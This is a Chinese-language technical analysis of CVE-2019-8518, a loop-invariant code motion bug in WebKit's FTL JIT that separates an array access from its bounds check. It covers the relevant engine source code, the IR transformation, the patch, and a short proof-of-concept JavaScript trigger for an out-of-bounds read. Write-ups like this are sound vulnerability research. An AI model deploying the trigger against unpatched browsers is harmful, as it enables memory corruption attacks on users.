CVE-2019-8518漏洞分析
字数 1476 2025-08-24 07:48:33
CVE-2019-8518漏洞分析教学文档
漏洞概述
CVE-2019-8518是WebKit JavaScriptCore引擎中的一个漏洞,涉及FTL JIT编译器中的循环不变代码外提(LICM)优化错误。该漏洞允许攻击者通过精心构造的JavaScript代码实现越界内存访问(OOB),可能导致任意代码执行。
前置知识
LICM (Loop-Invariant Code Motion)
循环不变代码外提是一种编译器优化技术,它将循环中不随迭代变化的代码移动到循环外部(preheader)执行,从而提高性能。在理想情况下,这种优化不应改变程序的行为。
DFG (Data Flow Graph) 和 FTL (Faster Than Light)
WebKit的JavaScript引擎使用多层JIT编译:
- Baseline JIT - 基础优化
- DFG JIT - 中级优化
- FTL JIT - 高级优化(使用LLVM后端)
漏洞技术分析
漏洞根本原因
FTL JIT的LICM优化错误地将GetByVal操作提升到循环preheader,而没有同时提升其关联的边界检查(CheckInBounds),导致可以绕过数组边界检查,造成越界访问。
关键代码分析
LICM阶段 - attemptHoist()函数
LICM决定是否提升一个节点时,会检查以下条件:
// WebKit/Source/JavaScriptCore/dfg/DFGLICMPhase.cpp
if (!data.preHeader) {
return false;
}
if (!data.preHeader->cfaDidFinish) {
return false;
}
if (!edgesDominate(m_graph, node, data.preHeader)) {
return tryHoistChecks();
}
if (doesWrites(m_graph, node)) {
return tryHoistChecks();
}
if (readsOverlap(m_graph, node, data.writes)) {
return tryHoistChecks();
}
if (addsBlindSpeculation && !canSpeculateBlindly) {
return tryHoistChecks();
}
if (!safeToExecute(m_state, m_graph, node)) {
// 尝试通过插入空检查来挽救
// ...
return tryHoistChecks();
}
edgesDominate检查
关键函数edgesDominate决定一个节点的所有子节点是否"支配"目标块:
// WebKit/Source/JavaScriptCore/dfg/DFGEdgeDominates.h
inline bool edgesDominate(Graph& graph, Node* node, BasicBlock* block) {
EdgeDominates edgeDominates(graph, block);
DFG_NODE_DO_TO_CHILDREN(graph, node, edgeDominates);
return edgeDominates.result();
}
支配性检查逻辑:
// WebKit/Source/WTF/wtf/Dominators.h
bool strictlyDominates(typename Graph::Node from, typename Graph::Node to) const {
return m_data[to].preNumber > m_data[from].preNumber &&
m_data[to].postNumber < m_data[from].postNumber;
}
bool dominates(typename Graph::Node from, typename Graph::Node to) const {
return from == to || strictlyDominates(from, to);
}
DFGSSALoweringPhase
在handleNode()函数中,GetByVal节点会调用lowerBoundsCheck():
case GetByVal: {
lowerBoundsCheck(m_graph.varArgChild(m_node, 0),
m_graph.varArgChild(m_node, 1),
m_graph.varArgChild(m_node, 2));
break;
}
lowerBoundsCheck函数会插入边界检查节点:
bool lowerBoundsCheck(Edge base, Edge index, Edge storage) {
// ...
Node* length = m_insertionSet.insertNode(m_nodeIndex, SpecInt32Only, op,
m_node->origin,
OpInfo(m_node->arrayMode().asWord()),
Edge(base.node(), KnownCellUse),
storage);
m_insertionSet.insertNode(m_nodeIndex, SpecInt32Only, CheckInBounds,
m_node->origin, index, Edge(length, KnownInt32Use));
return true;
}
漏洞触发流程
-
初始IR生成:
- 循环头加载数组长度
- 循环体内包含:
- 结构检查(
CheckStructure) - 属性存储(
StoreProperty) - 边界检查(
CheckBounds) - 数组访问(
GetByVal)
- 结构检查(
-
LICM优化前:
# Loop header len = LoadArrayLength v8 # Loop body CheckStructure v8, expected_structure_id StoreProperty v8, 'a', 42 CheckBounds -698666199, len GetByVal v8, -698666199 -
LICM优化过程:
CheckStructure可以被提升(不依赖循环变量)CheckBounds不能被提升(依赖循环头中的len)GetByVal被错误提升(被认为不依赖循环变量)
-
LICM优化后:
StructureCheck v8, expected_structure_id GetByVal v8, -698666199 # 边界检查被绕过! # Loop header len = LoadArrayLength v8 # Loop body StoreProperty v8, 'a', 42 CheckBounds -698666199, len # 检查太晚了
补丁分析
补丁修改了lowerBoundsCheck函数,确保GetByVal依赖于边界检查:
Node* checkInBounds = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, CheckInBounds,
m_node->origin, index, Edge(length, KnownInt32Use));
AdjacencyList adjacencyList = m_graph.copyVarargChildren(m_node);
m_graph.m_varArgChildren.append(Edge(checkInBounds, UntypedUse));
adjacencyList.setNumChildren(adjacencyList.numChildren() + 1);
m_node->children = adjacencyList;
POC分析
// 使用 --thresholdForFTLOptimizeAfterWarmUp=1000 运行
const v3 = [1337,1337,1337,1337]; // 第一个数组可能用于避免COW后备存储
const v6 = [1337,1337];
function v7(v8) {
for (let v9 in v8) {
v8.a = 42; // 强制结构检查
const v10 = v8[-698666199]; // 负索引访问
}
}
while (true) {
const v14 = v7(v6);
const v15 = v7(1337); // 非数组参数调用
}
POC关键点
- 属性访问:
v8.a = 42强制插入CheckStructure节点,确保数组类型正确 - 负索引访问:
v8[-698666199]使用非常大的负索引 - 混合参数调用:
- 使用数组
v6调用保持JIT编译 - 使用非数组
1337调用防止过早bailout
- 使用数组
漏洞利用条件
- 需要触发FTL JIT编译(通过循环多次执行)
- 需要混合数组和非数组参数调用函数
- 需要循环内的属性写入以强制结构检查
- 使用非常大的负索引访问数组元素
防御措施
- 确保
GetByVal始终依赖于其边界检查 - 在LICM优化时保持内存访问的安全不变性
- 对提升的节点进行更严格的安全性验证
总结
CVE-2019-8518展示了JIT编译器优化过程中安全验证不足导致的严重漏洞。该漏洞的根本原因在于LICM优化错误地将内存访问操作与它的安全检查分离,破坏了程序的安全不变性。这种类型的漏洞强调了在编译器优化中保持安全属性的重要性,即使是以性能为代价。